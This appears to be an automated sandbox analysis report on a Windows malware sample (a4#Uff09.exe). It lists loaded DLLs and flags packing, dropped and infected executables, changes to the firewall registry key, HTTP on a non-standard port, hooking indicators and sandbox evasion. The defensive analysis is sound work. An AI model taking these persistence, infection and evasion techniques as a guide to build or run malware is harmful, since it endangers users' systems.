                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: ntvdm64.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: textinputframework.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: coreuicomponents.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: ntvdm64.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: ntvdm64.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: esent.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: powrprof.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: umpdc.dllJump to behavior
                Source: C:\Windows\System32\dllhost.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: aphostservice.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: networkhelper.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: userdataplatformhelperutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: mccspal.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: vaultcli.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dmcfgutils.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wintypes.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dmcmnutils.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dmxmlhelputils.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: inproclogger.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: windows.networking.connectivity.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: synccontroller.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: pimstore.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: aphostclient.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: accountaccessor.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dsclient.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: systemeventsbrokerclient.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: userdatalanguageutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: mccsengineshared.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: cemapi.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: userdatatypehelperutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: phoneutil.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wpnclient.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: contentdeliverymanager.utilities.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: cdp.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dsreg.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: twinui.pcshell.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dwmapi.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dwrite.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: dcomp.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wincorlib.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: wininet.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: msxml6.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.dll
                Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dll
                Source: C:\Windows\explorer.exeSection loaded: wpnapps.dll
                Source: C:\Windows\explorer.exeSection loaded: execmodelproxy.dll
                Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exeSection loaded: msasn1.dll
                Source: C:\Windows\System32\RuntimeBroker.exeSection loaded: dxcore.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: dxgi.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: wincorlib.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: kernel.appcore.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.ui.xaml.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: coremessaging.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: bcp47langs.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: iertutil.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: dcomp.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: twinapi.appcore.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: wintypes.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.staterepositorycore.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.ui.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windowmanagementapi.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: textinputframework.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: inputhost.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: coreuicomponents.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: propsys.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: coreuicomponents.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: ntmarta.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: onecoreuapcommonproxystub.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: uxtheme.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: urlmon.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: srvcli.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: netutils.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: resourcepolicyclient.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: d3d11.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: d3d10warp.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: dxcore.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: quickactionsdatamodel.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: d2d1.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: dwrite.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: mrmcorer.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.staterepositoryclient.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: profapi.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: languageoverlayutil.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.storage.applicationdata.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: bcp47mrm.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.storage.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: wldp.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: textshaping.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.shell.servicehostbuilder.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: execmodelproxy.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: rmclient.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: uiamanager.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.ui.core.textinput.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.ui.immersive.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: dataexchange.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: cryptbase.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.globalization.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: windows.globalization.fontgroups.dll
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeSection loaded: fontgroupsoverride.dll
                Source: C:\Users\user\Desktop\a4#Uff09.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile written: C:\Windows\system.iniJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeAutomated click: OK
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeAutomated click: OK
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Users\user\Desktop\a4#Uff09.exeWindow detected: Number of UI elements: 23
                Source: a4#Uff09.exeStatic file information: File size 2915328 > 1048576
                Source: a4#Uff09.exeStatic PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x29c800
                Source: Binary string: .objK.pdb source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                Detected unpacking (changes PE section rights)
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeUnpacked PE file: 2.2.plgMeM.exe.db0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_004804B1 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_004804B1
                Source: initial sampleStatic PE information: section where entry point is pointing to: u
                Source: a4#Uff09.exeStatic PE information: section name: u
                Source: plgMeM.exe.0.drStatic PE information: section name: .aspack
                Source: plgMeM.exe.0.drStatic PE information: section name: .adata
                Source: msedge.exe.0.drStatic PE information: section name: .00cfg
                Source: msedge.exe.0.drStatic PE information: section name: .gxfg
                Source: msedge.exe.0.drStatic PE information: section name: .retplne
                Source: msedge.exe.0.drStatic PE information: section name: CPADinfo
                Source: msedge.exe.0.drStatic PE information: section name: LZMADEC
                Source: msedge.exe.0.drStatic PE information: section name: _RDATA
                Source: msedge.exe.0.drStatic PE information: section name: malloc_h
                Source: MyProg.exe.2.drStatic PE information: section name: PELIB
                Source: MyProg.exe.2.drStatic PE information: section name: Y|uR
                Source: SciTE.exe.2.drStatic PE information: section name: u
                Source: Uninstall.exe.2.drStatic PE information: section name: EpNuZ
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_004770E8 push eax; ret 0_2_00477106
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029E3600 push eax; ret 0_2_029E362E
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D072E push eax; iretd 0_2_029D072F
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB1638 push dword ptr [00DB3084h]; ret 2_2_00DB170E
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB2D9B push ecx; ret 2_2_00DB2DAB
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB6014 push 00DB14E1h; ret 2_2_00DB6425
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB600A push ebp; ret 2_2_00DB600D
                Source: a4#Uff09.exeStatic PE information: section name: .rsrc entropy: 7.870196995228896
                Source: a4#Uff09.exeStatic PE information: section name: u entropy: 7.7407751408617775
                Source: ahcs.pif.0.drStatic PE information: section name: .text entropy: 7.9886186279169875
                Source: plgMeM.exe.0.drStatic PE information: section name: .text entropy: 7.81169422100848
                Source: vmgr.exe.0.drStatic PE information: section name: .text entropy: 7.9886186279169875
                Source: MyProg.exe.2.drStatic PE information: section name: Y|uR entropy: 6.934234920169325
                Source: SciTE.exe.2.drStatic PE information: section name: u entropy: 6.934850007695727
                Source: Uninstall.exe.2.drStatic PE information: section name: EpNuZ entropy: 6.934587886482596
                Source: initial sampleStatic PE information: section name: UPX0
                Source: initial sampleStatic PE information: section name: UPX1

                Persistence and Installation Behavior

                barindex
                Drops PE files with a suspicious file extension
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\ahcs.pifJump to dropped file
                Infects executable files (exe, dll, sys, html)
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files\7-Zip\Uninstall.exeJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile created: C:\Program Files\7-Zip\Uninstall.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\Users\user\AppData\Local\Temp\plgMeM.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\Users\user\AppData\Local\Temp\vmgr.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\ahcs.pifJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileJump to behavior

                Hooking and other Techniques for Hiding and Protection

                barindex
                May modify the system service descriptor table (often done to hook functions)
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: KeServiceDescriptorTable
                Uses known network protocols on non-standard ports
                Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 799
                Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 799
                Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 799
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeProcess information set: NOOPENFILEERRORBOX

                Malware Analysis System Evasion

                barindex
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MOBIRISE4\MOBIRISE.EXE11976
